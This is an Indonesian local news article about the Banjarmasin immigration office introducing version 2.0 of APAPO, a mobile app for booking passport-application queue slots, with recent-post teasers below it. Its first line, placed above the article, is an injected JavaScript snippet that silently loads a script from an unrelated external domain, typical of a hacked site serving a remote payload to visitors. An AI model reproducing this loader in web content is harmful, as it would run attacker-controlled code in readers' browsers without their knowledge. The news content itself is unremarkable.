(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Gunakan APAPO Versi 2.0, Kini Tak Perlu Antre Bikin Paspor


BANJARMASIN, Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) Kantor Wilayah Kalsel Kantor Imigrasi (Kanim) Kelas I TPI Banjarmasin menyampaikan panduan perihal APAPO (Aplikasi Pendaftaran Antrean Paspor Online) versi 2.0.

Aplikasi ternyara ini merupakan aplikasi antrean paspor online yang dibuat untuk menghindari penumpukan calon pemohon paspor di unit layanan paspor/kantor imigrasi.
Oleh karena itu aplikasi ini dibuat sedemikian rupa agar masyarakat yang ingin membuat paspor tidak perlu mengantre lagi di loket antrean unit layanan paspor/kantor imigrasi.

“Kini hanya dengan regristrasi diaplikasi andid dan website, pemohon paspor bisa langsung memperoleh nomor antrean dan juga kejelasan kapan masyarakat tersebut akan dilayani di unit layanan paspor/ kantor imigrasi,” ujar Kepala Kanim Banjarmasin, Syarifullah.

Selain itu masyarakat dapat memohon antrean sebanyak lima permohonan, hal ini dilakukan untuk mempersingkat antrean jika ada pemohon yang ingin membuat paspor bersama keluarganya.

“Hanya dengan mengunduh aplikasi APAPO di Play Store kemudian mengisi form pendaftaran akun, si pengguna bisa langsung mengajukan permohonan untuk paspor baru atau pun penggantian paspor,” jelas Syarifullah.

Dengan catatan satu akun hanya dapat mendaftarkan maksimal lima permohonan, pemohon dapat membuat permohonan kembali setelah satu bulan dari jadwal yang telah ditentukan sebelumnya, dan satu device smarthphone hanya dapat digunakan untuk mendaftar satu akun saja.

Aplikasi ini dipaparkan dalam Sosialisasi Keimigrasian berdasarkan Surat Edaran Nomor.IMI-277 GR.02.06 tahun 2017 tentang pencegahan tenaga kerja Indonesia non prosedural dan penetapan tarif baru PNBP pada kantor imigrasi serta implementasi aplikasi pendaftaran antrian online paspor online (APAPO) ver 2.0, Kamis (20/6), bertempat di Hotel Mercure, Banjarmasin.

“Melalui sosialisasi ini diharapkan dapat lebih meningkatkan pemahaman masyarakat dan tidak lagi mengantre saat melalukan permohonan,” tandas Kepala Kanim Banjarmasin, Syarifullah. (mario)

Reporter:Mario
Editor:Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.